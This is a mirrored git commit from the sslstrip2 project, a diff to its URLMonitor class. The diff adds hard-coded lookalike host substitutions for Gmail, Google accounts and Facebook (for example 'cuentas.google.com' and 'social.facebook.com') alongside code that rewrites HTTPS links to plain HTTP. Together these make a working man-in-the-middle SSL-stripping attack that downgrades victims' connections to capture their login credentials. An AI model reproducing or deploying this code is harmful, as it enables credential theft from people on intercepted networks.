mirror of
https://github.com/couchfault/sslstrip2.git
synced 2025-10-29 16:56:59 +00:00
Back to some static subs
This commit is contained in:
parent
e8456c5f5a
commit
d6434091b5
@ -16,15 +16,27 @@ class URLMonitor:
|
|||||||
sustitucion = {} # LEO: diccionario host / sustitucion
|
sustitucion = {} # LEO: diccionario host / sustitucion
|
||||||
real = {} # LEO: diccionario host / real
|
real = {} # LEO: diccionario host / real
|
||||||
patchDict = {
|
patchDict = {
|
||||||
'https:\/\/fbstatic-a.akamaihd.net':'http:\/\/webfbstatic-a.akamaihd.net',
|
'https:\/\/fbstatic-a.akamaihd.net':'http:\/\/webfbstatic-a.akamaihd.net',
|
||||||
'https:\/\/www.facebook.com':'http:\/\/wwww.facebook.com',
|
'https:\/\/www.facebook.com':'http:\/\/wwww.facebook.com',
|
||||||
'return"https:"':'return"http:"'
|
'return"https:"':'return"http:"'
|
||||||
}
|
}
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self.strippedURLs = set()
|
self.strippedURLs = set()
|
||||||
self.strippedURLPorts = {}
|
self.strippedURLPorts = {}
|
||||||
self.faviconReplacement = False
|
self.faviconReplacement = False
|
||||||
|
self.sustitucion["mail.google.com"] = "gmail.google.com"
|
||||||
|
self.real["gmail.google.com"] = "mail.google.com"
|
||||||
|
|
||||||
|
self.sustitucion["www.facebook.com"] = "social.facebook.com"
|
||||||
|
self.real["social.facebook.com"] = "www.facebook.com"
|
||||||
|
|
||||||
|
self.sustitucion["accounts.google.com"] = "cuentas.google.com"
|
||||||
|
self.real["cuentas.google.com"] = "accounts.google.com"
|
||||||
|
|
||||||
|
self.sustitucion["accounts.google.es"] = "cuentas.google.es"
|
||||||
|
self.real["cuentas.google.es"] = "accounts.google.es"
|
||||||
|
|
||||||
|
|
||||||
def isSecureLink(self, client, url):
|
def isSecureLink(self, client, url):
|
||||||
for expression in URLMonitor.javascriptTrickery:
|
for expression in URLMonitor.javascriptTrickery:
|
||||||
@ -58,20 +70,20 @@ class URLMonitor:
|
|||||||
if len(port) == 0:
|
if len(port) == 0:
|
||||||
port = 443
|
port = 443
|
||||||
|
|
||||||
#LEO: Sustituir HOST
|
#LEO: Sustituir HOST
|
||||||
if not self.sustitucion.has_key(host):
|
if not self.sustitucion.has_key(host):
|
||||||
lhost = host[:4]
|
lhost = host[:4]
|
||||||
if lhost=="www.":
|
if lhost=="www.":
|
||||||
self.sustitucion[host] = "w"+host
|
self.sustitucion[host] = "w"+host
|
||||||
self.real["w"+host] = host
|
self.real["w"+host] = host
|
||||||
else:
|
else:
|
||||||
self.sustitucion[host] = "web"+host
|
self.sustitucion[host] = "web"+host
|
||||||
self.real["web"+host] = host
|
self.real["web"+host] = host
|
||||||
logging.debug("LEO: ssl host (%s) tokenized (%s)" % (host,self.sustitucion[host]) )
|
logging.debug("LEO: ssl host (%s) tokenized (%s)" % (host,self.sustitucion[host]) )
|
||||||
|
|
||||||
url = 'http://' + host + path
|
url = 'http://' + host + path
|
||||||
#logging.debug("LEO stripped URL: %s %s"%(client, url))
|
#logging.debug("LEO stripped URL: %s %s"%(client, url))
|
||||||
|
|
||||||
self.strippedURLs.add((client, url))
|
self.strippedURLs.add((client, url))
|
||||||
self.strippedURLPorts[(client, url)] = int(port)
|
self.strippedURLPorts[(client, url)] = int(port)
|
||||||
return 'http://'+self.sustitucion[host]+path
|
return 'http://'+self.sustitucion[host]+path
|
||||||
@ -86,13 +98,13 @@ class URLMonitor:
|
|||||||
return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1))
|
return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1))
|
||||||
|
|
||||||
def URLgetRealHost(self,host):
|
def URLgetRealHost(self,host):
|
||||||
logging.debug("Parsing host: %s"%host)
|
logging.debug("Parsing host: %s"%host)
|
||||||
if self.real.has_key(host):
|
if self.real.has_key(host):
|
||||||
logging.debug("New host: %s"%self.real[host])
|
logging.debug("New host: %s"%self.real[host])
|
||||||
return self.real[host]
|
return self.real[host]
|
||||||
else:
|
else:
|
||||||
logging.debug("New host: %s"%host)
|
logging.debug("New host: %s"%host)
|
||||||
return host
|
return host
|
||||||
|
|
||||||
def getInstance():
|
def getInstance():
|
||||||
if URLMonitor._instance == None:
|
if URLMonitor._instance == None:
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user